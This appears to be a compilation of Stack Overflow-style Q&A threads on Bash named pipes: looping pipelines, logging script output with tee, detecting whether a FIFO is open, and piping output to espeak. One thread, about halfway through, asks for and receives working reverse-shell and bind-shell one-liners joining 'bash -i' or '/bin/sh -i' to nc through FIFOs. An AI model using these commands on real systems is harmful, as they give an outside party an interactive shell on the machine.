What is the cleanest (simplest, most efficient, shortest, quickest, easiest, most elegant) way to create a non-linear pipeline like this in Bash?
I have three commands: mksock, irclogin, and ircpingpong. I want to pipe stdin, irclogin, and ircpingpong into mksock, and pipe mksock into stdout and ircpingpong. This means that mksock and ircpingpong are in a loop. I drew a diagram:
irclogin only needs to be run once and be the first input into mksock. After that, ircpingpong, and stdin should be accepted at any time. I am currently using pipes and a temporary file like this:
#!/bin/bash
server=127.0.0.1
port=6667
infifo=/tmp/ircin
outfifo=/tmp/ircout
pongfifo=/tmp/ircpong
rm $infifo
rm $outfifo
rm $pongfifo
mkfifo $infifo
mkfifo $outfifo
touch $pongfifo
( irclogin | cat - $infifo & tail -f $pongfifo; ) | mksock $server $port | tee $outfifo | stdbuf -oL ircpingpong > $pongfifo &
cat < $outfifo &
cat > $infifo
pkill tail
This works, but I want to know if there is a better way to do this. It bothers me that I am using a file rather than a pipe for looping back from ircpingpong to mksock using tail. Using a pipe didn't work because, to my understanding, something is written to the pipe before tail -f starts reading from it, and so it misses it.
It also bothers me that I have to kill tail at the end of the script, because it doesn't stop on it's own and would leave the socket connected even after the script has ended.
I can suggest a version without temporary files, and with two fifo-s:
fifo1=/tmp/fifo1
fifo2=/tmp/fifo2
rm $fifo1
rm $fifo2
mkfifo $fifo1
mkfifo $fifo2
ircpingpong < $fifo2 > $fifo1 &
(mksock <$fifo1|tee $fifo2 )&
irclogin >$fifo1 &
cat >$fifo1
The idea is to run all programs separately, and only ensure that input and output of each program is redirected properly according to this diagram:
Of course, ircpingpong must read stdin and write to stdout, irclogin must write to stdout, and mksock must read from stdin and write to stdout.
Here's something that uses just one fifo.
fifo=/tmp/myfifo
rm $fifo
mkfifo $fifo
((ircpingpong < $fifo &) && irclogin && cat) | mksock | tee $fifo
Add stdbuf as needed.
I don't know whether you will get your "something doesn't die on its own" problem; when I ctrl-c'ed the script, everything seemed to die.
Related
I know how to redirect stdout to a file:
exec > foo.log
echo test
this will put the 'test' into the foo.log file.
Now I want to redirect the output into the log file AND keep it on stdout
i.e. it can be done trivially from outside the script:
script | tee foo.log
but I want to do declare it within the script itself
I tried
exec | tee foo.log
but it didn't work.
#!/usr/bin/env bash
# Redirect stdout ( > ) into a named pipe ( >() ) running "tee"
exec > >(tee -i logfile.txt)
# Without this, only stdout would be captured - i.e. your
# log file would not contain any error messages.
# SEE (and upvote) the answer by Adam Spiers, which keeps STDERR
# as a separate stream - I did not want to steal from him by simply
# adding his answer to mine.
exec 2>&1
echo "foo"
echo "bar" >&2
Note that this is bash, not sh. If you invoke the script with sh myscript.sh, you will get an error along the lines of syntax error near unexpected token '>'.
If you are working with signal traps, you might want to use the tee -i option to avoid disruption of the output if a signal occurs. (Thanks to JamesThomasMoon1979 for the comment.)
Tools that change their output depending on whether they write to a pipe or a terminal (ls using colors and columnized output, for example) will detect the above construct as meaning that they output to a pipe.
There are options to enforce the colorizing / columnizing (e.g. ls -C --color=always). Note that this will result in the color codes being written to the logfile as well, making it less readable.
The accepted answer does not preserve STDERR as a separate file descriptor. That means
./script.sh >/dev/null
will not output bar to the terminal, only to the logfile, and
./script.sh 2>/dev/null
will output both foo and bar to the terminal. Clearly that's not
the behaviour a normal user is likely to expect. This can be
fixed by using two separate tee processes both appending to the same
log file:
#!/bin/bash
# See (and upvote) the comment by JamesThomasMoon1979
# explaining the use of the -i option to tee.
exec > >(tee -ia foo.log)
exec 2> >(tee -ia foo.log >&2)
echo "foo"
echo "bar" >&2
(Note that the above does not initially truncate the log file - if you want that behaviour you should add
>foo.log
to the top of the script.)
The POSIX.1-2008 specification of tee(1) requires that output is unbuffered, i.e. not even line-buffered, so in this case it is possible that STDOUT and STDERR could end up on the same line of foo.log; however that could also happen on the terminal, so the log file will be a faithful reflection of what could be seen on the terminal, if not an exact mirror of it. If you want the STDOUT lines cleanly separated from the STDERR lines, consider using two log files, possibly with date stamp prefixes on each line to allow chronological reassembly later on.
Solution for busybox, macOS bash, and non-bash shells
The accepted answer is certainly the best choice for bash. I'm working in a Busybox environment without access to bash, and it does not understand the exec > >(tee log.txt) syntax. It also does not do exec >$PIPE properly, trying to create an ordinary file with the same name as the named pipe, which fails and hangs.
Hopefully this would be useful to someone else who doesn't have bash.
Also, for anyone using a named pipe, it is safe to rm $PIPE, because that unlinks the pipe from the VFS, but the processes that use it still maintain a reference count on it until they are finished.
Note the use of $* is not necessarily safe.
#!/bin/sh
if [ "$SELF_LOGGING" != "1" ]
then
# The parent process will enter this branch and set up logging
# Create a named piped for logging the child's output
PIPE=tmp.fifo
mkfifo $PIPE
# Launch the child process with stdout redirected to the named pipe
SELF_LOGGING=1 sh $0 $* >$PIPE &
# Save PID of child process
PID=$!
# Launch tee in a separate process
tee logfile <$PIPE &
# Unlink $PIPE because the parent process no longer needs it
rm $PIPE
# Wait for child process, which is running the rest of this script
wait $PID
# Return the error code from the child process
exit $?
fi
# The rest of the script goes here
Inside your script file, put all of the commands within parentheses, like this:
(
echo start
ls -l
echo end
) | tee foo.log
Easy way to make a bash script log to syslog. The script output is available both through /var/log/syslog and through stderr. syslog will add useful metadata, including timestamps.
Add this line at the top:
exec &> >(logger -t myscript -s)
Alternatively, send the log to a separate file:
exec &> >(ts |tee -a /tmp/myscript.output >&2 )
This requires moreutils (for the ts command, which adds timestamps).
Using the accepted answer my script kept returning exceptionally early (right after 'exec > >(tee ...)') leaving the rest of my script running in the background. As I couldn't get that solution to work my way I found another solution/work around to the problem:
# Logging setup
logfile=mylogfile
mkfifo ${logfile}.pipe
tee < ${logfile}.pipe $logfile &
exec &> ${logfile}.pipe
rm ${logfile}.pipe
# Rest of my script
This makes output from script go from the process, through the pipe into the sub background process of 'tee' that logs everything to disc and to original stdout of the script.
Note that 'exec &>' redirects both stdout and stderr, we could redirect them separately if we like, or change to 'exec >' if we just want stdout.
Even thou the pipe is removed from the file system in the beginning of the script it will continue to function until the processes finishes. We just can't reference it using the file name after the rm-line.
Bash 4 has a coproc command which establishes a named pipe to a command and allows you to communicate through it.
Can't say I'm comfortable with any of the solutions based on exec. I prefer to use tee directly, so I make the script call itself with tee when requested:
# my script:
check_tee_output()
{
# copy (append) stdout and stderr to log file if TEE is unset or true
if [[ -z $TEE || "$TEE" == true ]]; then
echo '-------------------------------------------' >> log.txt
echo '***' $(date) $0 $# >> log.txt
TEE=false $0 $# 2>&1 | tee --append log.txt
exit $?
fi
}
check_tee_output $#
rest of my script
This allows you to do this:
your_script.sh args # tee
TEE=true your_script.sh args # tee
TEE=false your_script.sh args # don't tee
export TEE=false
your_script.sh args # tee
You can customize this, e.g. make tee=false the default instead, make TEE hold the log file instead, etc. I guess this solution is similar to jbarlow's, but simpler, maybe mine has limitations that I have not come across yet.
Neither of these is a perfect solution, but here are a couple things you could try:
exec >foo.log
tail -f foo.log &
# rest of your script
or
PIPE=tmp.fifo
mkfifo $PIPE
exec >$PIPE
tee foo.log <$PIPE &
# rest of your script
rm $PIPE
The second one would leave a pipe file sitting around if something goes wrong with your script, which may or may not be a problem (i.e. maybe you could rm it in the parent shell afterwards).
I am trying to do something like this on a POSIX compliance way using nc, following the second example given here, it must run on sh (can be tested on dash or busybox' ash, but not on bash).
I have done the following:
# on operator machine
nc -lvp 9999
# on remote machine
out="/tmp/.$$.out"
in="/tmp/.$$.in"
mkfifo "$out" "$in"
trap 'rm "$out" "$in"' EXIT
# nc 192.168.0.10 9999 > "$out" 0< "$in" &
cat "$in" | nc 192.168.0.10 9999 | cat > "$out" &
bash -i > "$in" 2>&1 0< "$out"
I have two questions, please, answer both:
As you can see I have tried to do nc 192.168.0.10 9999 > "$out" 0< "$in" but I do not known why the heck it didn't worked with file redirection, the command freezes, the process isn't even launched, I have tried with pipe on input only and also on output only, but neither way worked. The downside with this cat solution is when you exit the command after connected on operator machine it still keeps the process alive on remote machine, requiring to be killed. I want to know why redirection solution didn't work? And how to solve the exit issue? Even though the cat solution is not the most elegant one, if it manage to work it would be acceptable.
Is there a way to do this two-way I/O redirect using fd instead of mkfifo? For instance, using exec 3> dummy? Remembering it must be POSIX compliance so >(:) is unacceptable.
If the fd solution is possible, it is not required to make the mkfifo solution to work, but I still would be glade to know why the file redirection didn't work.
You're trying to do a reverse-shell? I can't quite tell from the logic.
A few things about fifos - opening a fifo blocks until both sides are opened - i.e. if you open for reading you will get blocked until someone opens it for writing and vice versa.
The reason it won't work with redirection is that the open of the redirection happens in the shell before launching the nc, so as a result until a process opens the write-end of the same fifo, it won't be able to open the read-end of the same fifo. In this case you've got a deadly embrace of blocking:
nc is blocked opening "$out" because nobody's opened it for reading yet.
bash is blocked opening "$in" because nobody's opened it for writing yet.
You can try rearranging the file descriptor opening order:
nc 127.0.0.1 9999 2>&1 > "$out" 0< "$in" &
bash -i 0< "$out" >"$in" 2>&1
i.e. we make sure that the opening of in and out happen in the same order for the commands, which should fix the fifo opening issue.
You don't need to do this with two fifos, you can accomplish it with one using:
ncfifo=/tmp/.$$.nc
mkfifo $ncfifo
cat $ncfifo | bash -i 2>&1 | nc 127.0.0.1 9999 >$ncfifo
As for (2); I don't know - it's not something I've tried to accomplish myself. The reason for using the fifo is that it allows you to wire up two sides of the pipeline together. I can't see any way of accomplishing this without a fifo, although I'm open to being corrected on this.
The nc man page on debian contains the following example, which is for the 'opposite' interpretation:
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
which is what I've used to do a simpler cat answer; although it seems to work as well omitting the leading cat as:
rm -f /tmp/f; mkfifo /tmp/f
/bin/sh -i </tmp/f 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
I'm trying to redirect stdin to a FIFO with bash. This way, I will be able to use this stdin on an other part of the script.
However, it doesn't seem to work as I want
script.bash
#!/bin/bash
rm /tmp/in -f
mkfifo /tmp/in
cat >/tmp/in &
# I want to be able to reuse /tmp/in from an other process, for example :
xfce4-terminal --hide-menubar --title myotherterm --fullscreen -x bash -i -c "less /tmp/in"
Here I would expect , when I run ls | ./script.bash, to see the output of ls, but it doesn't work (eg the script exits, without outputing anything)
What am I misunderstanding ?
I am pretty sure that less need additional -f flag when reading from pipe.
test_pipe is not a regular file (use -f to see it)
If that does not help I would also recommend to change order between last two lines of your script:
#!/bin/bash
rm /tmp/in -f
mkfifo /tmp/in
xfce4-terminal --hide-menubar --title myotherterm --fullscreen -x bash -i -c "less -f /tmp/in" &
cat /dev/stdin >/tmp/in
In general, I avoid the use of /dev/stdin, because I get a lot of surprises from what is exactly /dev/stdin, especially when using redirects.
However, what I think that you're seeing is that less finishes before your terminal is completely started. When the less ends, so will the terminal and you won't get any output.
As an example:
xterm -e ls
will also not really display a terminal.
A solution might be tail -f, as in, for example,
#!/bin/bash
rm -f /tmp/in
mkfifo /tmp/in
xterm -e "tail -f /tmp/in" &
while :; do
date > /tmp/in
sleep 1
done
because the tail -f remains alive.
I've created a named pipe for some other process to write to and want to check that the other process started correctly, but don't know its PID. The context is running a command in screen, making sure the command started correctly. I was hoping this might work:
mkfifo /tmp/foo
echo hello > /tmp/foo &
lsof /tmp/foo
Sadly, lsof does not report echo. inotifywait might be another option, but isn't always installed and I really want to poll just once, rather than block until some event.
Is there any way to check if a named pipe is open for writing? Even open in general?
UPDATE:
Once both ends are connected lsof seems to work. This actually solves my problem, but for the sake of the question I'd be interested to know if it's possible to detect the initial redirection to the named pipe without a reader.
> mkfifo /tmp/foo
> yes > /tmp/foo &
> lsof /tmp/foo
> cat /tmp/foo > /dev/null &
> lsof /tmp/foo
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
yes 16915 user 1w FIFO 8,18 0t0 16660270 /tmp/foo
cat 16950 user 3r FIFO 8,18 0t0 16660270 /tmp/foo
Update 2: After playing with inotify-tools, there doesn't seem to be a way to get a notification that a named pipe has been opened for writing and is blocking. This is probably why lsof doesn't show the pipe until it has a reader and a writer.
Update: After researching named pipes, I don't believe that there is any method that will work with named pipes by themselves.
Reasoning:
there is no way to limit the number of writers to a named pipe (without resorting to locking)
all writers block if there is no reader
no writers block if there is a reader (presumably as long as the kernel buffers aren't full)
You could try writing nothing to the pipe with a short timeout. If the timeout expires, then the write blocked indicating that someone has already opened the pipe for writing.
Note: As pointed out in the comments, if a reader exists and presumably is fast enough, our test write will not block and the test essentially fails. Comment out the cat line below to test this.
#!/bin/bash
is_named_pipe_already_opened_for_writing() {
local named_pipe="$1"
# Make sure it's a named pipe
if ! [ -p "$named_pipe" ]; then
return 1
fi
# Try to write zero bytes in the background
echo -n > "$named_pipe" &
pid=$!
# Wait a short amount of time
sleep 0.1
# Kill the background process. If kill succeeds, then
# the write was blocked indicating that someone
# else is already writing to the named pipe.
kill $pid 2>/dev/null
}
PIPE=/tmp/foo
# Ignore any bash messages from killing below
trap : TERM
mkfifo $PIPE
# a writer
yes > $PIPE &
# a reader
cat $PIPE >/dev/null &
if is_named_pipe_already_opened_for_writing "$PIPE"; then
echo "$PIPE is already being written to by another process"
else
echo "$PIPE is NOT being written to by another process"
fi
jobs -pr | kill 2>/dev/null
rm -f $PIPE
you need two pipes one for each directions:
one is use to wait for the ready for new data signal, another just for the data:
in my case process to files, line by line:
mkfifo r w;
cat file1 | while read l; do echo "$l" >w; read <r; done &
cat file2 | while read ln; do if read l <w; then echo "$ln"; echo "$l"; fi; echo 1>r; done
Just for fun I want to pipe all output text in a terminal to espeak. For example, after this is set up I should be able to type echo hi and hear "hi" spoken, or ls and hear my directory contents listed.
The only promising method to capture output I've found so far is from here: http://www.linuxjournal.com/content/bash-redirections-using-exec
This is what I have so far:
npipe=/tmp/$$.tmp
mknod $npipe p
tee /dev/tty <$npipe | espeak &
espeakpid=$!
exec 1>&-
exec 1>$npipe
trap "rm -f $npipe; kill $espeakpid" EXIT
It works (also printing a bunch of "Done" jobs), but creating the named pipe, removing with trap and printing the output with tee all just seems a bit messy. Is there a simpler way?
This is one way:
exec > >(exec tee >(exec xargs -n 1 -d '\n' espeak -- &>/dev/null))
If you want to be able to restore back to original output stream:
exec 3>&1 ## Store original stdout to fd 3.
exec 4> >(exec tee >(exec xargs -n 1 -d '\n' espeak -- &>/dev/null)) ## Open "espeak" as fd 4.
exec >&4 ## Redirect stdout to "espeak".
exec >&3 ## Redirect back to normal.
I use xargs -n 1 because espeak doesn't do anything until EOF is reached so we summon an instance of it per line. This can be customized of course, but there's your answer. And of course a while read loop can also be an option for this.
I also use exec's in process substitution to make sure we get rid of unnecessary subshells.
Seems like it's way easier than that - I just tested this and it works:
$ echo "these are not the droids you are looking for" | espeak --stdin
The --stdin flag is the key. From espeak's man page:
--stdin
Read text input from stdin instead of a file
And if what you want to hear is a very long output, I guess you can use xargs if you run into Argument list too long errors...